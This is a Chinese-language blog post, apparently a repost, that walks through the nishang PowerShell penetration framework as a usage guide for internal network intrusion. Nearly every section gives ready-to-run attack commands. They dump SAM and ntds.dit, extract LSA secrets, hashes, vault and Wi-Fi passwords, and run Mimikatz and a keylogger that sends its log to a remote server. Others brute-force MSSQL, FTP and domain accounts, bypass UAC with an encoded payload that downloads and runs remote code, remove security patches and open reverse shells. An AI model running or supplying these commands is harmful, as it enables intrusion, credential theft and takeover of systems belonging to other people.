powershell 渗透框架[ nishang ]
优采云 发布时间: 2022-06-23 09:49powershell 渗透框架[ nishang ]
0x01 前言
注意,powershell只能针对win7以后的系统使用,此之前的win系统是没有引入powershell的,powershell是什么这里就不废话了,大家请自行谷歌,在使用各种powrshell脚本过程中,系统权限自然也是越高越好,权限越大你能在系统中操作的范围就越广,至于为什么要选择powershell,想必大家早已心知肚明,免杀,可直接跟系统api交互,容易定制,轻量,远程加载执行,对目标系统的影响极小……好处众多,这里就不多啰嗦了,说破天,我们最终的目的还是希望能在实际渗透中把它用起来,不然,实际价值何在呢
0x02 关于nishang
今天我们就先来看看第一款powershell渗透框架其实,个人觉得把它称为powershell渗透框架似乎更合适些,nishang[想必现在早已家喻户晓],关于nishang中的各个ps脚本的选项用法,在其脚本代码的最前面都有详细说明,使用前请务必仔细阅读,因为系统默认是禁止执行ps脚本的,所以实际用的时候后面都会带上bypass选项
Set-ExecutionPolicy Unrestricted 如果你得到的是一个交互式的ps shell,也可以用该命令来放开脚本执行限制
# powershell –exec bypass –Command "Get-Host | Select-Object Version" 查看当前powershell版本,有些脚本只能在指定的powershell版本中执行
0x03 首先,所有内网渗透的第一步,信息搜集[Gather]
检查当前机器是否为虚拟机:
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Check-VM.ps1';Check-VM}"
搜集当前机器的各种敏感信息,包括如下
1、当前系统中所登陆过的用户
2、putty连接过的内网的linux机器,保存的ssh会话以及最近使用过的命令
3、当前机器所开启的共享
4、系统环境变量配置
5、系统平台及操作系统位数
6、当前系统的用户及组信息
7、识别snmp默认团体字符串
8、系统中所安装的软件
9、机器所处的域
10、hosts文件内容,一般这个可用来发现内网中的其它机器
11、正在运行的服务
12、本机的账号密码策略
13 、无线网卡信息
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-Information.ps1';Get-Information | Out-File info.txt}"
利用卷影拷贝服务[Volume Shadow Copy Service]转储本地的sam文件,如果是在域控上操作,它则会把ntds.dit和system.hiv一并导出来,如下图,ntds.dit文件默认位置是C:\Windows\system32\ntds.dit,如果ntds.dit不是在默认路径下,则要用-ntdsSource选项指明ntds.dit的位置,注意转储到的目录一定要能写,如果是域内用户比较少还好,用户量比较大的情况还是最好不要这种方式来导,之后从文件中把用户hash提取出来即可
这里我直接让它放到C盘根下,实际中你可以指定你自己想存放的位置
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Copy-VSS.ps1';Copy-VSS -DestinationDir c:\}"
扫描同内网中指定机器所开放的端口,它会根据你所给的端口一个个的遍历,速度可能会有点儿慢[似乎有点儿在逐个 telnet 的感觉]:
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\FireBuster.ps1';FireBuster 192.168.3.13 20-110 -Verbose}"
做出口测试用的,说实话,我真没想到它的具体利用场景
C:\>powershell -exec bypass
PS C:\> Import-Module C:\nishang\Gather\FireListener.ps1
PS C:\> FireListener -portrange 80-83
从HKLM中提取lsa证书秘钥,说白点儿就是里面存了各种账号密码,注意可能需要system权限且powershell要在32位模式下运行,实际测试测试中,貌似光有管理权限还不够[没成功],不过类似的功能我们在实际渗透中我们完全可以用别的工具替代不用在这儿太过纠结:
#C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-LSASecret.ps1';Enable-DuplicateToken;Get-LSASecret}"
抓取本地用户的密码hash,注意权限务必要够,另外,记得要把你的cmd调宽一点,不然可能看不到完整结果,不过hash貌似又不对:
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}"
获取本地用户的密码提示:
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-PassHints.ps1';Get-PassHints}"
从windows Vault[其实就是各类证书管理器,具体作用请自行谷歌]中获取各种web密码,该脚本要求在powershell 3.0(也就是win8以后的系统)以上执行,还是那句话,权限必须要够,比较遗憾,本地实际测试中并未成功读出来:
# Powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-WebCredentials.ps1';Get-WebCredentials}"
抓取当前机器的无线密码前提是当前系统中要有正在使用的无线网卡才行,不过,这种方式对个人机来说还是挺有用价值的:
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-WLAN-Keys.ps1';Get-WLAN-Keys}"
简单的一些钓鱼模块,脚本执行以后它会一直弹出输入框,直到用户输入了正确的系统账号密码它才会自动退出,最后会把刚刚用户输入的账号密码显示出来,当然啦,你一样可以把它直接存到文件中,为了给大家看的更直观些,就直接把它打印出来了
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-CredentialsPhish.ps1';Invoke-CredentialsPhish}"
powershell版的mimiktaz,关于mimikatz的用法,相必大家都早已非常熟练,这里就不废话了:
# reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 2012加上这个还是有点儿问题
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikatz.ps1';Invoke-Mimikatz}" 尝试直接抓取当前系统用户的明文密码
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikatz.ps1';Invoke-Mimikatz -Command 'privilege::debug sekurlsa::wdigest exit'}" 执行自定义mimikatz内置指令
强制登出系统中当前正处于登陆状态的用户,然后截获其再次登陆时的明文密码,有点儿劫持winlogon.exe进程的意思,但实际中多次折腾都并未成功,如果有谁成功了,麻烦也告诉本人一声,好知道到底是哪里出了问题,我比较懒,抽空容我再看看代码:
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Invoke-MimikatzWDigestDowngrade}" 强制锁定系统,然后强迫用户重新登陆
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Get-Job | Receive-Job}"
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Invoke-MimikatzWDigestDowngrade -RDP}"
利用ReadProcessMemory()函数从内存中提取敏感数据,主要用来抓取内存中的各种网站登陆密码,实际测试过程中有时会卡死,拖慢系统,最重要的是,并没有抓到什么有价值的东西:
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikittenz.ps1';Invoke-mimikittenz}"
利用无线的ssid提取用户凭据,看作者介绍似乎非常实用[可能境外特殊的环境所致吧],原理暂时还没弄太明白,正在仔细学习中,后续会把模块单独拿出来说明
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-SSIDExfil.ps1';Invoke-SSIDExfil}"
键盘记录,实际测试中还有些问题,正在看……
PS C:\nishang\Gather> .\Keylogger.ps1 -CheckURL ://192.168.3.23/drupal-7.54 -MagicString pass 检查所给的网页中是否包含自己所给的关键字[admin],如果有就停止记录,记录会被保存在当前用户的temp目录下的key.log文件中,
PS > .\Keylogger.ps1 -CheckURL ://192.168.3.23/drupal-7.54 -MagicString pass -exfil -ExfilOption WebServer -URL 直接把记录结果发到远程服务器,用POST接收下即可
PS > .\Keylogger.ps1 -persist 持续记录
PS C:\nishang\Gather> Parse_Keys .\key.log .\plains.txt 就可以还原记录内容了
0x04 内网端口扫描及服务爆破[scan][目前只支持mssql,ftp,web,activedirectory爆破]
首先,来看端口扫描,可以直接把要扫的端口都事先写在代码里面,不用非要手工指定,麻烦,又显示不全[还是记得把cmd调宽一些然后存到文件中会好点],实际中也并不建议一下子扫很多,比如你想找sa,只需要指定1433即可,搞定了以后把hash抓一下,也许这事儿就成了,没必要一直扫,还容易触发报警
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-PortScan.ps1';Invoke-PortScan -StartAddress 192.168.3.1 -EndAddress 192.168.3.150 -ScanPort -port 21,22,443,445,3306,3389,1433}"
服务爆破,目前貌似只支持mssql,ftp,域[ActiveDirectory]和web
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service SQL -Verbose}" 爆破mssql的sa
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service FTP -Verbose}" 爆破ftp
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service ActiveDirectory -Verbose}" 爆破域内指定账户密码
0x05 提权相关[Escalation]
窃取令牌
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Enable-DuplicateToken.ps1';Enable-DuplicateToken}"
尝试bypassUAC,并弹回一个高权限的meterpreter的shell[dll可自定义],可指定不同的bypass方法,更多方法请自行参考脚本说明,这里的payload我是直接用msf生成的,为了避免单双引号的问题,记得把它编码下,实际测试中貌似并没有成功,是我编码的问题吗
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Invoke-PsUACme.ps1';Invoke-PsUACme -method oobe -Payload 'powershell -windowstyle hidden -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAkAHcALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB3AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAkAHcALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMALgA2ADoAOAAwADgAMAAvAGMAaAAxAFEAVgBEAGUAWAAnACkAOwAKAA=='}"
卸载目标系统中指定的补丁,比如,可以尝试卸载一两个可直接用于提权的补丁,情不得已的情况下,我们也许还可以通过这种方式来快速拿回机器权限
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Remove-Update.ps1';Remove-Update KB976902}"
0x06 各种执行系统指令的方式,其实挺实用的,但我自己没成功,确实挺遗憾的[Execution]
利用powershell以文本的格式下载可执行文件,然后再自动转换成可执行格式并执行,下载者? 测了很多次都没成功,不太明白它的意思是直接提供一个可执行文件还是shellcode?
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Execution\Download_Execute.ps1';Download_Execute }"
下载并执行指定ps脚本
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Execution\Download-Execute-PS.ps1';Download-Execute-PS -nodownload}"
利用sa在内网中快速提权种马,这个可能需要交互,连接成功后你可以选择要返回一个什么样的shell,跟sqltools很像[自己用的比较少],基本都是靠这个小脚本,方便,灵活,隐蔽,稳定,小巧,绝逼好用
PS C:\> Set-ExecutionPolicy Unrestricted
PS C:\> Import-Module C:\nishang\Execution\Execute-Command-MSSQL.ps1
PS C:\> Execute-Command-MSSQL -ComputerName 2012R2DC -UserName sa -Password admin 实际渗透中可以用ip代替机器名
利用dns txt 执行shellcode,有些还不是很通透,正在努力学习中……
Execute-DNSTXT-Code.ps1
利用rundll32执行各种payload和系统指令以及bypass AppLocker,多次测试均未果,是不是想起了什么呢,没错jsrat呢,嘿嘿……
# nc -lvp 443 -u
PS C:\> Import-Module C:\nishang\Execution\Out-RundllCommand.ps1
PS C:\> Out-RundllCommand -PayloadURL -Arguments "Invoke-PowerShellUdp -Reverse -IPAddress 192.168.3.251 -Port 53"
0x07 所支持的一些shell种类,至于是不是真正走的某种协议,自己拿wireshark看下就知道,篇幅原因,我就不扯的太多[Shells]
通过 regsvr32.exe 弹shell,脚本执行完以后会生成payload代码,然后把该代码拿到目标机器上去执行即可得到一个反向shell,实际测试未通过
PS C:\> Import-Module C:\nishang\Shells\Invoke-JSRatRegsvr.ps1
PS C:\> Invoke-JSRatRegsrv -IPAddress 192.168.3.23 -Port 808
通过 rundll32.exe 弹shell,依然未成功
PS C:\> Import-Module C:\nishang\Shells\Invoke-JSRatRundll.ps1
PS C:\> Invoke-JSRatRundll -IPAddress 192.168.3.23 -Port 808